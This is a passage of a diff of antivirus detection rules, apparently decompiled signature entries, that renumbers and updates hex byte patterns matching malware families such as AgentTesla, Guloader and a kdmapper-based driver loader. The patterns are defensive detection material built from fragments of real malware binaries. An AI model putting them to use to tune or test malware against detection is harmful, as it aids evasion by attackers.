c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 8d 04 09 8b d0 81 f2 b7 1d c1 04 85 c9 0f 49 d0 48 ff c7 48 83 ff 04 } //30 + $a_e7_9 = {00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 64 6c 6f 67 67 65 72 2e 41 21 64 68 61 00 01 00 3b 03 6f 70 5f 49 6e 90 01 01 71 75 61 6c 69 74 79 00 00 00 01 00 0f 6b 00 65 00 79 00 2e 90 01 01 74 00 78 00 74 00 00 03 5b 00 00 05 5d 00 20 00 00 07 5d 00 0d 00 0a 00 00 00 90 00 01 00 76 03 67 00 64 00 72 00 69 00 } //0 + $a_00_10 = {6d 00 6f 90 01 01 6e 00 69 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 00 00 48 00 12 00 01 00 4c 00 65 00 67 00 61 00 6c 00 43 00 6f 00 70 90 01 01 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6f 00 70 00 79 00 72 00 69 00 67 90 01 01 68 00 74 00 20 00 a9 00 20 00 20 00 32 00 30 00 32 00 30 00 00 } //118 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17920+(#a_13_4 & 1)*-512+(#a_00_5 & 1)*0+(#a_50_7 & 1)*19521+(#a_00_10 & 1)*93) >=18 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*17920+(#a_13_4 & 1)*-512+(#a_00_5 & 1)*0+(#a_48_6 & 1)*-29879+(#a_03_7 & 1)*20+(#a_01_8 & 1)*30+(#a_e7_9 & 1)*0+(#a_00_10 & 1)*118) >=18 } -rule _InfrastructureShared_15207{ +rule _InfrastructureShared_16203{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 64 69 65 2e 4d 52 21 4d 54 42 00 14 00 24 01 4c 8b 45 9f 49 8d 40 ff 48 8b 4d a7 48 23 c1 48 8b 5d 97 4c 8b 0c c3 48 8b d6 48 89 55 d7 49 8b 01 48 85 c0 14 00 44 } //21539 + $a_c0_1 = {45 90 90 98 00 00 00 48 8d 05 ba 90 01 02 00 0f 11 45 a8 48 89 45 a8 48 8d 4d 90 90 48 8d 85 a0 00 00 00 0f 11 45 98 4c 89 6d 98 0f 11 45 b8 48 89 45 c0 0f 11 45 c8 c7 45 c8 04 01 00 00 90 00 1e 00 4a 01 0f 49 d0 8d 04 12 8b c8 81 f1 b7 1d c1 04 85 d2 0f 49 c8 } //3843 + $a_8b_2 = {81 f2 b7 1d c1 04 85 c9 0f } //1165 + condition: + ((#a_4c_0 & 1)*21539+(#a_c0_1 & 1)*3843+(#a_8b_2 & 1)*1165) >=70 + +} +rule _InfrastructureShared_16204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -175950,7 +187711,7 @@ rule _InfrastructureShared_15207{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*0) >=1 } -rule _InfrastructureShared_15208{ +rule _InfrastructureShared_16205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -175961,7 +187722,7 @@ rule _InfrastructureShared_15208{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22794) >=1 } -rule _InfrastructureShared_15209{ +rule _InfrastructureShared_16206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -175973,7 +187734,7 @@ rule _InfrastructureShared_15209{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-28440+(#a_94_2 & 1)*-16251) >=1 } -rule _InfrastructureShared_15210{ +rule _InfrastructureShared_16207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -175984,7 +187745,7 @@ rule _InfrastructureShared_15210{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*115) >=1 } -rule _InfrastructureShared_15211{ +rule _InfrastructureShared_16208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -175997,7 +187758,7 @@ rule _InfrastructureShared_15211{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_18_2 & 1)*-29949+(#a_e5_3 & 1)*-11895) >=1 } -rule _InfrastructureShared_15212{ +rule _InfrastructureShared_16209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -176008,7 +187769,7 @@ rule _InfrastructureShared_15212{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*22890) >=1 } -rule _InfrastructureShared_15213{ +rule _InfrastructureShared_16210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -176019,7 +187780,7 @@ rule _InfrastructureShared_15213{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65) >=2 } -rule _InfrastructureShared_15214{ +rule _InfrastructureShared_16211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176029,7 +187790,7 @@ rule _InfrastructureShared_15214{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15215{ +rule _InfrastructureShared_16212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176041,7 +187802,7 @@ rule _InfrastructureShared_15215{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*3347+(#a_01_2 & 1)*28453) >=3 } -rule _InfrastructureShared_15216{ +rule _InfrastructureShared_16213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176053,7 +187814,7 @@ rule _InfrastructureShared_15216{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_09_2 & 1)*14637) >=3 } -rule _InfrastructureShared_15217{ +rule _InfrastructureShared_16214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176065,7 +187826,7 @@ rule _InfrastructureShared_15217{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_5a_2 & 1)*16697) >=3 } -rule _InfrastructureShared_15218{ +rule _InfrastructureShared_16215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176076,7 +187837,7 @@ rule _InfrastructureShared_15218{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*12800) >=3 } -rule _InfrastructureShared_15219{ +rule _InfrastructureShared_16216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176088,7 +187849,7 @@ rule _InfrastructureShared_15219{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*2392+(#a_75_2 & 1)*29541) >=3 } -rule _InfrastructureShared_15220{ +rule _InfrastructureShared_16217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176099,7 +187860,7 @@ rule _InfrastructureShared_15220{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400) >=3 } -rule _InfrastructureShared_15221{ +rule _InfrastructureShared_16218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176111,7 +187872,7 @@ rule _InfrastructureShared_15221{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4957+(#a_90_2 & 1)*2065) >=3 } -rule _InfrastructureShared_15222{ +rule _InfrastructureShared_16219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -176123,7 +187884,7 @@ rule _InfrastructureShared_15222{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_7d_2 & 1)*-22013) >=3 } -rule _InfrastructureShared_15223{ +rule _InfrastructureShared_16220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -176140,7 +187901,7 @@ rule _InfrastructureShared_15223{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26949+(#a_2f_2 & 1)*15457+(#a_3a_3 & 1)*288+(#a_73_4 & 1)*25391+(#a_63_5 & 1)*27503+(#a_42_6 & 1)*19745+(#a_11_7 & 1)*4868) >=3 } -rule _InfrastructureShared_15224{ +rule _InfrastructureShared_16221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176153,7 +187914,7 @@ rule _InfrastructureShared_15224{ ((#a_6c_0 & 1)*16675+(#a_2f_1 & 1)*29555+(#a_e7_2 & 1)*0+(#a_07_3 & 1)*4357) >=4 } -rule _InfrastructureShared_15225{ +rule _InfrastructureShared_16222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -176166,7 +187927,7 @@ rule _InfrastructureShared_15225{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6149+(#a_75_2 & 1)*29541+(#a_69_3 & 1)*28229) >=4 } -rule _InfrastructureShared_15226{ +rule _InfrastructureShared_16223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -176181,7 +187942,7 @@ rule _InfrastructureShared_15226{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29795+(#a_6d_2 & 1)*25390+(#a_64_3 & 1)*25970+(#a_68_4 & 1)*23667+(#a_60_5 & 1)*6936) >=4 } -rule _InfrastructureShared_15227{ +rule _InfrastructureShared_16224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -176197,7 +187958,7 @@ rule _InfrastructureShared_15227{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*26113+(#a_70_2 & 1)*29554+(#a_1b_3 & 1)*4450+(#a_07_4 & 1)*2833+(#a_70_5 & 1)*19713+(#a_37_6 & 1)*14437) >=4 } -rule _InfrastructureShared_15228{ +rule _InfrastructureShared_16225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176211,7 +187972,7 @@ rule _InfrastructureShared_15228{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*4363+(#a_00_2 & 1)*4869+(#a_6a_3 & 1)*385+(#a_33_4 & 1)*9217) >=5 } -rule _InfrastructureShared_15229{ +rule _InfrastructureShared_16226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176225,7 +187986,7 @@ rule _InfrastructureShared_15229{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*28015+(#a_73_2 & 1)*25455+(#a_73_3 & 1)*25960+(#a_6c_4 & 1)*11826) >=5 } -rule _InfrastructureShared_15230{ +rule _InfrastructureShared_16227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176239,7 +188000,7 @@ rule _InfrastructureShared_15230{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11826+(#a_75_2 & 1)*25449+(#a_62_3 & 1)*25698+(#a_77_4 & 1)*25968) >=5 } -rule _InfrastructureShared_15231{ +rule _InfrastructureShared_16228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176253,7 +188014,7 @@ rule _InfrastructureShared_15231{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*27210+(#a_61_2 & 1)*29794+(#a_00_3 & 1)*99+(#a_64_4 & 1)*11622) >=5 } -rule _InfrastructureShared_15232{ +rule _InfrastructureShared_16229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176266,7 +188027,7 @@ rule _InfrastructureShared_15232{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*117+(#a_2d_3 & 1)*13412+(#a_00_4 & 1)*65) >=5 } -rule _InfrastructureShared_15233{ +rule _InfrastructureShared_16230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -176280,7 +188041,7 @@ rule _InfrastructureShared_15233{ ((#a_77_0 & 1)*27683+(#a_00_1 & 1)*116+(#a_00_2 & 1)*5+(#a_73_3 & 1)*29254+(#a_00_4 & 1)*79) >=5 } -rule _InfrastructureShared_15234{ +rule _InfrastructureShared_16231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -176294,7 +188055,7 @@ rule _InfrastructureShared_15234{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_3 & 1)*110+(#a_00_5 & 1)*56+(#a_41_6 & 1)*27749) >=5 } -rule _InfrastructureShared_15235{ +rule _InfrastructureShared_16232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -176310,7 +188071,7 @@ rule _InfrastructureShared_15235{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25710+(#a_65_2 & 1)*24436+(#a_14_3 & 1)*-28672+(#a_00_5 & 1)*144+(#a_61_6 & 1)*29699+(#a_6e_7 & 1)*20993) >=5 } -rule _InfrastructureShared_15236{ +rule _InfrastructureShared_16233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -176326,7 +188087,7 @@ rule _InfrastructureShared_15236{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*103+(#a_3a_2 & 1)*19521+(#a_2e_3 & 1)*27002+(#a_61_4 & 1)*29550+(#a_72_5 & 1)*29728+(#a_6c_6 & 1)*24948) >=6 } -rule _InfrastructureShared_15237{ +rule _InfrastructureShared_16234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -176344,7 +188105,7 @@ rule _InfrastructureShared_15237{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28015+(#a_4b_2 & 1)*384+(#a_74_3 & 1)*21360+(#a_00_4 & 1)*49+(#a_65_5 & 1)*384+(#a_6f_6 & 1)*28265+(#a_00_7 & 1)*0+(#a_54_8 & 1)*17996) >=6 } -rule _InfrastructureShared_15238{ +rule _InfrastructureShared_16235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -176361,7 +188122,7 @@ rule _InfrastructureShared_15238{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29295+(#a_78_2 & 1)*11890+(#a_65_4 & 1)*385+(#a_30_5 & 1)*14390+(#a_74_6 & 1)*28767+(#a_72_7 & 1)*25938+(#a_81_8 & 1)*1) >=6 } -rule _InfrastructureShared_15239{ +rule _InfrastructureShared_16236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -176377,7 +188138,7 @@ rule _InfrastructureShared_15239{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30019+(#a_67_2 & 1)*19551+(#a_00_3 & 1)*101+(#a_79_4 & 1)*25345+(#a_61_5 & 1)*26994+(#a_75_6 & 1)*28015) >=7 } -rule _InfrastructureShared_15240{ +rule _InfrastructureShared_16237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -176393,7 +188154,7 @@ rule _InfrastructureShared_15240{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_79_2 & 1)*25345+(#a_61_3 & 1)*26994+(#a_75_4 & 1)*28015+(#a_2d_5 & 1)*24885+(#a_4d_6 & 1)*16686) >=7 } -rule _InfrastructureShared_15241{ +rule _InfrastructureShared_16238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -176409,7 +188170,7 @@ rule _InfrastructureShared_15241{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_46_2 & 1)*29803+(#a_63_3 & 1)*30307+(#a_5a_4 & 1)*26202+(#a_47_5 & 1)*12851+(#a_61_6 & 1)*29300) >=7 } -rule _InfrastructureShared_15242{ +rule _InfrastructureShared_16239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -176425,7 +188186,7 @@ rule _InfrastructureShared_15242{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*13623+(#a_5a_2 & 1)*29530+(#a_01_3 & 1)*25953+(#a_6c_4 & 1)*10280+(#a_4d_5 & 1)*12850+(#a_63_6 & 1)*12900) >=7 } -rule _InfrastructureShared_15243{ +rule _InfrastructureShared_16240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -176435,30 +188196,47 @@ rule _InfrastructureShared_15243{ $a_36_2 = {44 6f 75 64 6c 65 2e 53 6e 64 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //12916 $a_38_3 = {37 32 32 21 4d 54 42 00 01 00 24 01 32 64 32 33 39 35 34 37 2d 64 34 65 37 2d 34 32 65 65 2d 39 34 35 63 2d 63 62 64 64 32 36 63 64 36 65 37 32 01 } //19795 $a_01_4 = {50 61 74 68 5f 46 69 6e 64 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0f 81 01 66 72 6d 42 6c 61 63 6b 4a 61 63 6b 53 69 6d 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0b 01 47 65 74 48 61 73 68 43 6f 64 65 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 01 50 65 72 66 6f 72 6d } //8192 - $a_6f_5 = {74 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 45 54 30 31 21 4d 54 42 00 01 00 28 81 01 5c 44 69 73 70 75 74 74 65 72 5c 53 75 62 63 61 76 69 74 79 31 31 36 5c 70 72 6f 63 65 72 65 6d 6f 6e 69 61 6c 69 73 74 01 00 17 81 01 45 72 73 74 61 74 6e 69 6e 67 73 6b 72 61 76 65 6e 65 73 2e 62 65 73 01 00 0a } //24908 - $a_48_6 = {72 65 64 2e 55 67 75 01 00 0f 81 01 5c 54 75 72 74 6c 65 68 65 61 64 2e 47 6f 64 01 00 11 81 01 56 69 6e 64 75 65 73 76 69 73 6b 65 72 2e 73 79 63 01 00 11 81 01 56 65 6c 73 69 74 75 65 72 65 64 65 73 2e 74 78 74 01 00 0f 81 01 65 6e 65 72 61 61 64 69 67 65 73 2e 6a 70 67 01 } //385 + $a_6f_5 = {74 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 55 21 4d 54 42 00 01 00 14 81 01 5c 6d 61 74 65 6d 61 74 69 6b 6b 65 72 6e 65 73 2e 69 6e 69 01 00 11 81 01 5c 6f 69 6e 6b 73 5c 74 75 72 74 75 72 2e 6a 70 67 01 00 10 81 01 50 68 79 74 6f 70 68 61 67 6f 75 73 2e 66 6f 72 01 00 0f } //24908 + $a_6c_6 = {6a 65 6d 64 72 65 32 39 2e 74 78 74 01 00 11 81 01 50 6f 70 75 6c 61 74 69 6f 6e 65 6e 73 2e 6d 61 71 01 00 18 81 01 53 6b 72 61 6d 6d 65 6c 6c 65 67 65 70 6c 61 64 73 32 34 31 2e 62 69 72 01 00 17 81 01 53 79 73 74 65 6d 69 6e 64 6b 72 69 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25972+(#a_36_2 & 1)*12916+(#a_38_3 & 1)*19795+(#a_01_4 & 1)*8192+(#a_6f_5 & 1)*24908+(#a_48_6 & 1)*385) >=7 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25972+(#a_36_2 & 1)*12916+(#a_38_3 & 1)*19795+(#a_01_4 & 1)*8192+(#a_6f_5 & 1)*24908+(#a_6c_6 & 1)*385) >=7 } -rule _InfrastructureShared_15244{ +rule _InfrastructureShared_16241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 38 30 37 32 32 21 4d 54 42 00 01 00 24 01 32 64 32 33 39 35 34 37 2d 64 34 65 37 2d 34 32 65 65 2d 39 34 35 63 2d 63 62 64 64 32 36 63 64 36 65 37 32 01 00 20 81 01 50 } //18467 $a_5f_1 = {69 6e 64 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0f 81 01 66 72 6d 42 6c 61 63 6b 4a 61 63 6b 53 69 6d 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0b 01 47 65 74 48 61 73 68 43 6f 64 65 01 00 0d 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 01 52 65 73 75 } //29793 - $a_61_2 = {6f 75 74 01 00 0d 01 50 65 72 66 6f 72 6d 4c 61 79 6f 75 74 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 45 54 30 31 21 4d 54 42 00 01 00 28 81 01 5c 44 69 73 70 75 74 } //25965 - $a_5c_3 = {75 62 63 61 76 69 74 79 31 31 36 5c 70 72 6f 63 65 72 65 6d 6f 6e 69 61 6c 69 73 74 01 00 17 81 01 45 72 73 74 61 74 6e 69 6e 67 73 6b 72 61 76 65 6e 65 73 2e 62 65 73 01 00 0a 81 01 5c 48 61 72 65 64 2e 55 67 75 01 00 0f 81 01 5c 54 75 72 74 6c 65 68 65 61 64 2e 47 6f 64 01 00 11 81 01 56 69 6e 64 75 65 73 76 69 73 6b 65 72 2e 73 79 63 01 } //25972 - $a_01_4 = {56 65 6c 73 69 74 75 65 72 65 64 65 73 2e 74 78 74 01 00 0f 81 01 65 6e 65 72 61 61 64 69 67 65 73 2e 6a 70 67 01 00 0e 81 01 62 65 72 69 67 74 69 67 65 72 2e 6a 70 67 00 00 78 e7 00 00 09 00 09 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 72 69 76 65 72 4c 6f 61 64 65 72 2e 52 44 42 21 4d 54 42 00 03 00 2c 01 6b 64 6d 61 70 70 65 72 2d 6d 61 73 74 65 72 5c } //4352 - $a_5c_5 = {65 62 75 67 5c 6b 64 6d 61 70 70 65 72 5f 44 65 62 75 67 2e 70 64 62 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 43 72 65 61 74 65 46 69 6c } //13944 - $a_00_6 = {18 } //22373 - $a_51_7 = {65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 13 01 47 65 74 44 69 73 6b 46 72 65 65 53 70 61 63 65 45 78 57 01 00 10 01 47 65 74 46 75 6c 6c 50 61 74 68 4e 61 6d 65 57 01 00 1c 01 47 65 74 46 69 6c 65 49 6e 66 6f 72 6d 61 74 69 6f 6e 42 79 48 61 6e 64 6c 65 45 78 00 00 78 e7 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f } //19969 + $a_61_2 = {6f 75 74 01 00 0d 01 50 65 72 66 6f 72 6d 4c 61 79 6f 75 74 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 55 21 4d 54 42 00 01 00 14 81 01 5c 6d } //25965 + $a_6d_3 = {74 69 6b 6b 65 72 6e 65 73 2e 69 6e 69 01 00 11 81 01 5c 6f 69 6e 6b 73 5c 74 75 72 74 75 72 2e 6a 70 67 01 00 10 81 01 50 68 79 74 6f 70 68 61 67 6f 75 73 2e 66 6f 72 01 00 0f 81 01 50 6c 65 6a 65 6d 64 72 65 32 39 2e 74 78 74 01 00 11 81 01 50 6f 70 75 6c 61 74 69 6f 6e 65 6e 73 2e 6d 61 71 01 00 18 } //29793 + $a_6b_4 = {61 6d 6d 65 6c 6c 65 67 65 70 6c 61 64 73 32 34 31 2e 62 69 72 01 00 17 81 01 53 79 73 74 65 6d 69 6e 64 6b 72 69 6e 67 65 72 32 32 32 2e 69 6e 69 01 00 0e 81 01 55 64 73 74 65 64 74 31 32 37 2e 6a 61 79 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 } //385 + $a_3a_5 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 45 54 30 31 21 4d 54 42 00 01 00 28 81 01 5c 44 69 73 70 75 74 74 65 72 5c 53 75 62 63 61 76 69 74 79 31 31 36 5c 70 72 6f 63 65 72 65 6d 6f 6e 69 61 6c 69 73 74 01 00 17 81 01 45 72 73 74 61 74 6e 69 } //21587 + $a_6b_6 = {61 76 65 6e 65 73 2e 62 65 73 01 00 0a 81 01 5c 48 61 72 65 64 2e 55 67 75 01 00 0f 81 01 5c 54 75 72 74 6c 65 68 65 61 64 2e 47 6f 64 01 00 11 81 01 56 69 6e 64 75 65 73 76 69 73 6b 65 72 2e 73 79 63 01 00 11 81 01 56 65 6c 73 69 74 75 65 72 65 64 65 73 2e 74 78 74 01 00 0f 81 01 65 6e 65 72 61 61 64 69 67 65 73 2e 6a 70 67 01 00 0e 81 01 62 } //26478 + $a_67_7 = {69 67 65 72 2e 6a 70 67 00 00 78 e7 00 00 09 00 09 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 72 69 76 65 72 4c 6f 61 64 65 72 2e 52 44 42 21 4d 54 42 00 03 00 2c 01 6b 64 6d 61 70 70 65 72 2d 6d 61 73 74 65 72 5c 78 36 34 5c 44 65 62 75 67 5c 6b 64 6d 61 70 70 65 72 5f 44 65 62 75 67 } //29285 condition: - ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*29793+(#a_61_2 & 1)*25965+(#a_5c_3 & 1)*25972+(#a_01_4 & 1)*4352+(#a_5c_5 & 1)*13944+(#a_00_6 & 1)*22373+(#a_51_7 & 1)*19969) >=8 + ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*29793+(#a_61_2 & 1)*25965+(#a_6d_3 & 1)*29793+(#a_6b_4 & 1)*385+(#a_3a_5 & 1)*21587+(#a_6b_6 & 1)*26478+(#a_67_7 & 1)*29285) >=8 } -rule _InfrastructureShared_15245{ +rule _InfrastructureShared_16242{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 55 21 4d 54 42 00 01 00 14 81 01 5c 6d 61 74 65 6d 61 74 69 6b 6b 65 72 6e 65 73 2e 69 6e 69 01 00 11 81 01 5c 6f 69 6e 6b 73 5c 74 75 72 74 75 72 2e 6a 70 67 01 00 10 81 01 } //18467 + $a_74_1 = {70 68 61 67 6f 75 73 2e 66 6f 72 01 00 0f 81 01 50 6c 65 6a 65 6d 64 72 65 32 39 2e 74 78 74 01 00 11 81 01 50 6f 70 75 6c 61 74 69 6f 6e 65 6e 73 2e 6d 61 71 01 00 18 81 01 53 6b 72 61 6d 6d 65 6c 6c 65 67 65 70 6c 61 64 73 32 34 31 2e 62 69 72 01 00 17 81 01 53 79 73 74 65 6d 69 6e 64 6b 72 69 6e 67 65 72 32 32 32 2e 69 6e 69 01 00 0e 81 01 55 64 73 74 65 64 } //26704 + $a_37_2 = {6a 61 79 00 00 78 e7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 45 54 30 31 21 4d 54 42 00 01 00 28 } //12660 + $a_44_3 = {73 70 75 74 74 65 72 5c 53 75 62 63 61 76 69 74 79 31 31 36 5c 70 72 6f 63 65 72 65 6d 6f 6e 69 61 6c 69 73 74 01 00 17 81 01 45 72 73 74 61 74 6e 69 6e 67 73 6b 72 61 76 65 6e 65 73 2e 62 65 73 01 00 0a 81 01 5c 48 61 72 65 64 2e 55 67 75 01 00 0f 81 01 5c 54 75 72 74 6c 65 } //385 + $a_64_4 = {47 6f 64 01 00 11 81 01 56 69 6e 64 75 65 73 76 69 73 6b 65 72 2e 73 79 63 01 00 11 81 01 56 65 6c 73 69 74 75 65 72 65 64 65 73 2e 74 78 74 01 00 0f 81 01 65 6e 65 72 